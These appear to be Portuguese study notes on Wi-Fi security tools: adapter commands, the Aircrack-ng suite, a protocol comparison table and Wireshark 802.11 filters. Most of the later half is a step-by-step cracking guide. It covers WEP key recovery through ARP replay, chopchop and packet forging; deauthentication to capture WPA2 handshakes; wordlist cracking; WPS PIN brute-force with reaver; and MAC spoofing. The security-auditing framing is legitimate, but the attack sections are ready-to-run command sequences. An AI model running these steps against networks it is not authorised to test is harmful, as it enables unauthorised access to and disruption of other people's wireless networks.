### Comandos básicos Como visualizar os adaptadores de Wifi: ``` iwconfig ``` Como mostrar os canais que o adaptador suporta: ``` iwlist wlan1 channel ``` Como mostrar todas as redes próximas: ``` iwlist wlan1 scanning iwlist wlan1 scanning | grep ESSID iwlist wlan1 scanning | egrep "ESSID|Channel:|Address:" ``` Como definir um canal na plata de rede: ``` iwconfig wlan1 channel 6 ``` OBS: Para a placa de rede subir com a nova configuração você pode desligar e ligar o adaptador de rede usando o ifconfig. ``` ifconfig wlan1 down ifconfig wlan1 up ifconfig wlan1 ``` Usando comando mais modernos temos: ``` ip link set wlan1 down ip link set wlan1 up ip link show wlan1 ``` Como trocar o modo de operação do Wifi ``` iwconfig wlan1 mode [Ad-Hoc, Auto, Managed, Master, Monitor, Repeater, Secundary] ``` Monitor os Beacons de rede quando o Wifi está em modo monitor: ``` tcpdump -vv -i wlan0 -n -c 5 ``` OBS: Esse comando restringe a captura para 5 pacotes. Um exemplo a seguir de resposta: ```shell tcpdump -vv -i wlan0 -n -c 5 tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes 17:01:54.147020 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit] 17:01:54.147022 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit] 17:01:54.349319 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit] 17:01:54.450349 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (KARLA_2.4G) [1.0* 2.0* 5.5* 11.0* 6.0* 9.0 12.0* 18.0 Mbit] 17:01:54.854780 1.0 Mb/s 2412 MHz 11b -66dBm signal antenna 0 Action (80:d0:4a:99:42:50): BA ADDBA Request 5 packets captured 5 packets received by filter 0 packets dropped by kernel ``` ### Suite Aircrack-ng o **Aircrack-ng** é um conjunto de ferramentas de código aberto usado principalmente para **auditoria e teste de segurança de redes Wi-Fi**. Ele é voltado para redes que utilizam os protocolos **WEP**, **WPA** e **WPA2**, permitindo capturar tráfego, analisar pacotes e tentar recuperar senhas por meio de ataques como **dictionary attack**, **brute force** e **PMKID**. A suíte é composta por vários programas, sendo os principais: - **airmon-ng** – Coloca a placa Wi-Fi em modo monitor para capturar pacotes. - **airodump-ng** – Captura e exibe informações sobre redes e clientes. - **aireplay-ng** – Injeta pacotes para gerar tráfego e acelerar a captura de dados necessários para quebrar a chave. - **aircrack-ng** – Faz a quebra da chave com base nos pacotes capturados. Como colocar a placa em modo de monitoramento: ``` airmon-ng start wlan0 ``` Como realizar um dump dos pacotes que estão acontecendo: ``` airodump-ng wlan0 airodump-ng --channel 1 --essid NOMEDAREDE wlan0 airodump-ng wlan0 --min-power -60 ``` Como realizar o replay de ataques Wifi: ``` aireplay-ng -0 0 -a B0:B0:00:00:00:00 wlan0 ``` Para realizar o crack dos pacotes capturados airodump-ng: ``` airdecap-ng -w PASS file.cap ``` OBS: Esse comando irá gerar um arquivo com o mesmo nome: file-dec.pcap, só que decriptado. #### Protocolos e Criptografia em Redes Wi-Fi | Protocolo | Criptografia | Tamanho da Chave | Modos de Autenticação | Vulnerabilidades | Status Atual | | ------------------------------------- | ---------------------------------------------- | ------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------------------- | ------------------------------------------------- | | **WEP** (Wired Equivalent Privacy) | RC4 (stream cipher) + IV de 24 bitsE | 40 ou 104 bits (+ 24 bits do IV) | Chave pré-compartilhada (estática) | IV curto e repetitivo, ataques de _key recovery_, quebra em minutos | **Obsoleto** | | **WPA** (Wi-Fi Protected Access) | TKIP (RC4 com melhorias e IV de 48 bits) | 128 bits | WPA-Personal (PSK) ou WPA-Enterprise (802.1X/RADIUS) | Vulnerável a ataques de dicionário, herda limitações do RC4, ataques TKIP | **Obsoleto** | | **WPA2** (Wi-Fi Protected Access II) | AES-CCMP (AES em modo CTR + CBC-MAC) | 128 bits | WPA2-Personal (PSK) ou WPA2-Enterprise (802.1X/RADIUS) | Vulnerável a KRACK (corrigido), ataques de força bruta se senha fraca | **Amplamente usado**, sendo substituído pelo WPA3 | | **WPA3** (Wi-Fi Protected Access III) | AES-CCMP + AES-GCMP (modo Galois/Counter Mode) | 128 bits (Pessoal) / 192 bits (Enterprise) | WPA3-Personal (SAE) ou WPA3-Enterprise (802.1X/RADIUS) | Reduz vulnerabilidade a ataques offline, mas já teve falhas como _Dragonblood_ (corrigidas) | **Padrão atual** recomendado | #### Filtros de pacotes no Wireshark ##### Por tipo/subtipo de quadro 802.11 ```shell # Beacons wlan.fc.type_subtype == 0x08 # Probe Request / Probe Response wlan.fc.type_subtype == 0x04 wlan.fc.type_subtype == 0x05 # Association / Reassociation wlan.fc.type_subtype == 0x00 # Assoc Request wlan.fc.type_subtype == 0x01 # Assoc Response wlan.fc.type_subtype == 0x02 # Reassoc Request wlan.fc.type_subtype == 0x03 # Reassoc Response # Authentication / Deauth / Disassoc wlan.fc.type_subtype == 0x0b # Authentication wlan.fc.type_subtype == 0x0c # Deauthentication wlan.fc.type_subtype == 0x0a # Disassociation # Controle: RTS / CTS / ACK / Block Ack wlan.fc.type_subtype == 0x1b # RTS wlan.fc.type_subtype == 0x1c # CTS wlan.fc.type_subtype == 0x1d # ACK wlan.fc.type_subtype == 0x18 # Block Ack Request (BAR) wlan.fc.type_subtype == 0x19 # Block Ack (BA) # Somente quadros de dados wlan.fc.type == 2 ``` ##### Por SSID / AP (BSSID) / Cliente ```shell wlan_mgt.ssid == "MeuSSID" wlan.bssid == aa:bb:cc:dd:ee:ff wlan.addr == 88:79:7e:3c:63:0b (wlan.sa == <STA_MAC>) || (wlan.da == <STA_MAC>) ``` ##### Direção (AP ↔ Cliente) e unicast ```shell # STA -> AP wlan.fc.to_ds == 1 && wlan.fc.from_ds == 0 # AP -> STA wlan.fc.from_ds == 1 && wlan.fc.to_ds == 0 # Somente unicast (remove broadcast/multicast) !(wlan.da[0] & 1) ``` ##### Segurança / EAPOL (4-way handshake) / WPS ```shell eapol # chaves WPA/WPA2/WPA3 wps # elementos WPS, se presentes wlan.rsn # RSN IE (WPA2/WPA3) ``` ##### Sinal, canal, retransmissões ```shell # Por intensidade de sinal wlan_radio.signal_dbm > -60 # Filtrar por CH1 radiotap.channel.freq == 2412 # Filtrar por quadros de retry wlan.fc.retry == 1 ``` ##### Limpar “ruído” comum em Wi-Fi ```shell # Limpar dados Unicast ,ARP, Broadcast (wlan.fc.type == 2) && (wlan.bssid == <AP_MAC>) && !(wlan.da[0] & 1) && !(arp) && !(ip.dst == 255.255.255.255) && !(ipv6.dst[0] == 0xFF) # Remover beacons !(wlan.fc.type_subtype == 0x08) ``` ##### Filtrando por tipos de pacote ``` # Filtrar por pacotes de autenticação wlan.fc.type_subtype == 0x0b # Filtrar por pacotes beacons wlan.fc.type_subtype == 0x08 ``` ### Quebras de Wifi ##### WEP com clientes. Para se quebrar o padrão web é necessário seguir os seguintes passos: 1. Vamos iniciar a captura de pacotes ``` airodump-ng wlan0 ``` 2. Depois usar o Airdump para capturar os pacotes de acordo com o canal e SSID já salvando os pacotes em um arquivo: ``` airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede ``` 3. Agora é necessário pegar um cliente conectado e começar a replicar vários IV (Vetores de Inicialização) para que possamos identificar o padrão da senha e quebra-la: OBS: O -3 representa um ataque de ARP para device. ``` aireplay-ng -3 0 -b MAC-DO-AP -h SMAC wlan0 ``` OBS: Será necessário aguardar até que o campo Data do airodump fica com 80 mil beacons. Depois disso só finalizar a quebra com o AirCrack-NG: ``` aircrack-ng -a 1 file.cap ``` ##### WEP sem clientes. Para quebrar uma rede Wifi WAP sem qualquer cliente, primeiramente devemos usar o airodump-ng para ficar capturando nossos pacotes e logo em seguida devemos simular uma autenticação Fake com o seguinte comando: ``` aireplay-ng -1 60000000 -a BSSID -e SSID wlan0 ``` OBS: O -1 representa o --fakeauth. A seguir podemos seguir com dois tipos de ataque: 1. Chop Chop 2. Fragmentação A vulnerabilidade vai mudar de acordo com o tipo do roteador. ``` aireplay-ng -4 -a BSSID -h SMAC wlan0 ``` OBS: -4 seria o chopchop. Ao final você terá um arquivo xor e outro cap que devem ser usados com outro comando chamado packetforge-ng: ``` packetforge-ng -0 -a BSSID -k IP-ORIGEM -l IP-DESTINO -h SMAC -y XORFILE -w SAIDAFILE ``` OBS: IP-ORIGEM e DESTINO pode ser 255.255.255.255. OBS2: -0 seria o protocolo ARP. O comando anterior vai conseguir criar um pacote para ser reproduzido pelo aireplay usando o seguinte exemplo: ``` aereplay-ng -2 -r SAIDAFILE wlan0 ``` Você vai precisar aguardar pelo menos alguns minutos para ter a quantidade de pacotes suficiente para tentar realizar a quebra: ``` aircrack-ng -a 1 SAIDA.cap ``` ##### WEP OSA (Open System Authentication) Sem verificação real; o cliente só se associa ao AP. A criptografia WEP é aplicada após a associação, mas qualquer um pode se conectar inicialmente. ##### WEP SKA (Shared Key Authentication) Mais "seguro" (em teoria), usa a chave WEP compartilhada para um processo de desafio-resposta (challenge-response). Como nos processos anteriores para quebrar uma rede Wifi SKA podemos usar o airodump-ng para ficar capturando os pacotes: ``` airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede ``` Depois disso, faça o envio de 3 pacotes de Dealth para o BSSID e DMAK ``` aireplay-ng --deauth 3 -a BSSID -c DMAK (STATION) wlan0 ``` Caso o ataque ocorra corretamente no airodump-ng vai aparecer o AUTH -> SKA e nos arquivos gerados, vamos ter um arquivo de XOR. ``` aireplay-ng --fakeauth 0 -y XORFILE wlan0 ``` ``` aireplay-ng --arpreplay -b BSSID -h SMAC (STATION) wlan0 ``` ``` aircrack-ng -a 1 FILE.cap ``` ##### WEP Dicionário Esse seria o método mais simples, já que somente é necessário capturar alguns beacons e depois realizar o procedimento de quebra por wordlist. ``` airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede ``` Depois de alguns minutos você já pode tentar quebrar: ``` aircrack-ng -a 1 -n 128 -w /usr/share/wordlists/rockyou.txt FILE.cap ``` ##### WPA2 PSK ``` airodump-ng --channel 1 --essid NOMEDAREDE wlan0 -w nomedarede ``` ``` aireplay-ng --deauth 3 -a BSSID -c DMAK (STATION) wlan0 ``` ``` aircrack-ng -a 2 -b BSSID -w /usr/share/wordlists/rockyou.txt FILE.cap ``` ##### WPS A primeira coisa é identificar quais redes estão com suporte a WPS: ``` wash -i wlan0 ``` ``` airodump-ng --wps wlan0 ``` ``` reaver -i wlan0 -b BSSID -vv -no-nacks -c 1 ``` ##### ByPass de MAC ``` macchanger -m XX:XX:XX:XX:XX:XX wlan0 macchanger -p wlan0 #reset ```